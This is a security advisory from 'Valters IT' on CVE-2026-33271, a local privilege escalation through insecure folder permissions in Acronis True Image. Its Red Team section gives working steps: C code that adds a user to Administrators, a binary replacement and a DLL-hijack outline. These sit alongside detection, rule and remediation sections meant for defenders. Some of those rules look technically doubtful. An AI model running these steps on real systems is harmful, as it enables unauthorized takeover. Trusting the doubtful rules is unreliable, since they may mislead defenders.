CVE-2026-33271

Executive Summary

CVE-2026-33271 is a local privilege escalation vulnerability in Acronis True Image for Windows, affecting builds prior to 42902. The flaw stems from insecure default folder permissions, allowing a low-privileged local attacker to overwrite critical application files or inject malicious code. Successful exploitation grants elevated privileges, potentially leading to full system compromise. A patch is available; no public proof-of-concept or exploit code has been observed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – potential access to sensitive data.
• Integrity Impact: High (I:H) – ability to modify system files.
• Availability Impact: High (A:H) – could lead to denial of service.

Threat Level: Medium. While the CVSS score is moderate, the local nature and low privileges required make it a realistic post-exploitation vector for attackers who have already gained a foothold.

Deep Dive & Mechanics

The vulnerability resides in the installation directory of Acronis True Image (typically C:\Program Files\Acronis\TrueImage). The application creates folders and files with overly permissive Access Control Lists (ACLs), granting BUILTIN\Users or Everyone group write/modify permissions. This allows any local user to:

1. Overwrite executable files – Replace legitimate binaries with malicious ones.
2. Modify configuration files – Alter application behavior or load malicious DLLs.
3. Create new files – Plant malicious scripts or executables that will be executed with elevated privileges when the application runs or a service starts.

Since Acronis True Image often runs with SYSTEM or high-integrity privileges (e.g., during backup/restore operations), any file planted by a low-privileged user can be executed in a high-privilege context, resulting in privilege escalation.

Vulnerable vs. Patched Code

Vulnerable (build < 42902):

• Installation folder permissions: BUILTIN\Users has (OI)(CI)(F) (Full Control) or (OI)(CI)(M) (Modify) permissions.
• Example ACL entry: Everyone:(OI)(CI)(F)

Patched (build >= 42902):

• Installation folder permissions: BUILTIN\Users has only (OI)(CI)(RX) (Read & Execute) permissions.
• Example ACL entry: Everyone:(OI)(CI)(RX)

The patch restricts write access to only privileged users (e.g., BUILTIN\Administrators, SYSTEM), preventing low-privileged users from modifying the application directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Acronis True Image (build < 42902) installed.
• A low-privileged user account (e.g., user).

Exploitation Steps:

1. Identify vulnerable directory:

   icacls "C:\Program Files\Acronis\TrueImage"
   

   Look for BUILTIN\Users:(OI)(CI)(F) or Everyone:(OI)(CI)(F).

2. Create a malicious executable (e.g., evil.exe):

   // evil.c - spawns a SYSTEM shell
   #include <windows.h>
   int main() {
       system("cmd.exe /c net localgroup Administrators user /add");
       return 0;
   }
   

   Compile: x86_64-w64-mingw32-gcc -o evil.exe evil.c

3. Replace a legitimate binary:

   copy evil.exe "C:\Program Files\Acronis\TrueImage\AcronisTrueImage.exe" /Y
   

4. Trigger execution:

   • Wait for a scheduled backup task.
   • Or manually start the application via Start Menu (if user has permission).
   • Or restart the Acronis service: net start "Acronis True Image"

5. Result: The malicious binary runs with SYSTEM privileges, adding the user to the Administrators group.

Alternative – DLL Hijacking:

• Identify a missing DLL in the application directory.
• Place a malicious DLL with the same name.
• When the application loads, it executes the DLL with elevated privileges.

Blue Team

Detection Steps:

1. Audit folder permissions:

   Get-ChildItem "C:\Program Files\Acronis\TrueImage" -Recurse | Get-Acl | Format-List
   

   Look for non-admin write permissions.

2. Monitor file integrity:

   • Use Sysmon Event ID 11 (FileCreate) and 2 (FileCreateStreamHash) to detect new/modified files in the Acronis directory.
   • Enable Windows File Server Resource Manager (FSRM) file screening.

3. Check for suspicious processes:

   • Monitor for AcronisTrueImage.exe or related services spawning cmd.exe, powershell.exe, or net.exe.
   • Use Sysmon Event ID 1 (ProcessCreate) with command-line logging.

4. Review scheduled tasks:

   Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Acronis*"}
   

   Look for unexpected tasks.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_33271_Acronis_Insecure_Permissions {
    meta:
        description = "Detects insecure folder permissions in Acronis True Image installation directory"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-33271"
        severity = "medium"
    strings:
        $acl1 = "BUILTIN\\Users:(OI)(CI)(F)" nocase
        $acl2 = "Everyone:(OI)(CI)(F)" nocase
        $acl3 = "BUILTIN\\Users:(OI)(CI)(M)" nocase
        $acl4 = "Everyone:(OI)(CI)(M)" nocase
        $path = "C:\\Program Files\\Acronis\\TrueImage" nocase
    condition:
        $path and ($acl1 or $acl2 or $acl3 or $acl4)
}

Sigma Rule

title: Acronis True Image Insecure Folder Permissions
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects insecure ACLs on Acronis True Image installation directory
author: Valters IT
date: 2026/01/01
references:
    - CVE-2026-33271
logsource:
    product: windows
    service: security
    definition: 'Requires Advanced Audit Policy: Object Access > File System'
detection:
    selection:
        EventID: 4663
        ObjectName|startswith: 'C:\Program Files\Acronis\TrueImage'
        AccessMask: '0x2'  # WRITE_DAC
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-33271 Acronis True Image Potential C2"; flow:to_server,established; content:"Acronis"; http_user_agent; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Patch: Upgrade to Acronis True Image build 42902 or later.
2. Manual fix: Restrict permissions on the installation folder:

   icacls "C:\Program Files\Acronis\TrueImage" /inheritance:r /grant "SYSTEM:(OI)(CI)(F)" /grant "BUILTIN\Administrators:(OI)(CI)(F)" /grant "BUILTIN\Users:(OI)(CI)(RX)"
   

Long-term:

• Implement application whitelisting (e.g., AppLocker) to prevent unauthorized executables.
• Use Windows Defender Application Control (WDAC) to block unsigned binaries.
• Regularly audit folder permissions with tools like icacls or Set-Acl.
• Enable Sysmon and collect Event ID 11 (FileCreate) for critical directories.

Valters IT – Securing your digital frontier.

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